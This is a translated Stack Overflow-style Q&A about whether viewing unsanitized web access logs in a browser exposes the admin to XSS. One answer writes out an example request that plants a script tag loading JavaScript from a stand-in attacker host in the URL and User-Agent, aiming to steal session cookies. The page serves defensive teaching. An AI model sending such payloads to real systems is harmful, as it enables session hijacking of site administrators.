在不通过网络浏览器进行清理的情况下查看访问日志是不是危险?
Posted
技术标签:
【中文标题】在不通过网络浏览器进行清理的情况下查看访问日志是不是危险?【英文标题】:Is it dangerous thing to view access log without sanitizing via web browser?在不通过网络浏览器进行清理的情况下查看访问日志是否危险? 【发布时间】:2010-11-06 01:28:07 【问题描述】:在不通过网络浏览器清理的情况下查看访问日志是否危险?
我正在考虑记录访问日志,我正在考虑通过wev浏览器查看,但是如果攻击者修改了他的远程主机或用户代理之类的东西,他可以攻击我吗?
通过将攻击代码插入他的远程主机或用户代理等。
那么在通过网络浏览器打开访问日志文件之前,我是否需要通过 htmlspecialchar 进行清理?
我的意思是攻击者将一些攻击代码插入到他的远程主机或用户代理或某些软件中,然后我通过网络浏览器看到访问日志,然后我的 PC 将受到该代码的影响。
【问题讨论】:
【参考方案1】:是的,这很危险。
例如,恶意用户可以请求如下内容:
GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
并使用恶意 javascript 破坏您的查看页面。
由于您可能正在查看您网站上的日志,因此您将作为具有管理权限的帐户登录。使用恶意 JavaScript,攻击者可以窃取您的会话 cookie 并接管您的会话,完成您在登录时可以执行的所有操作。
因此,总而言之,您应该绝对避开访问日志页面,除非您希望自己的管理帐户遭到入侵。
【讨论】:
是的。我在我的服务器日志中看到过类似这样的尝试,所以我在查看网页中的任何部分之前对脚本进行了清理。【参考方案2】:理论上这是可能的,是的,你应该称赞自己有正确的心态来思考它。在将任何不受控制的输入显示在网络浏览器中之前对其进行清理总是一个好主意。
我会通过htmlspecialchars()
运行日志输出。
【讨论】:
【参考方案3】:您可能需要一些 html 格式的输出,因此必须对日志数据进行清理/编码。但出于争论的原因:如果您将输出作为 text/plain 发送,则客户端不应解析任何 html/javascript。 例如。的输出
<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
显示为(至少在FF3、IE8、opera、safari中)。
【讨论】:
是的,谢谢。那我最好把日志文件扩展名设为“txt”,这样我就安全了。 我的意思是“log.txt”是安全的,但“log.html”是危险的。 如果“log.txt”确实是解决方案,为什么问题标记为“php php5”?以上是关于在不通过网络浏览器进行清理的情况下查看访问日志是不是危险?的主要内容,如果未能解决你的问题,请参考以下文章
如何在不手动检查的情况下确定网站是不是使用 webassembly?
如何实现一个系统调用,它可以在不进入内核日志的情况下检查自身是不是已成功执行?
如何在不先“下载”的情况下通过 Android 网络浏览器显示 PDF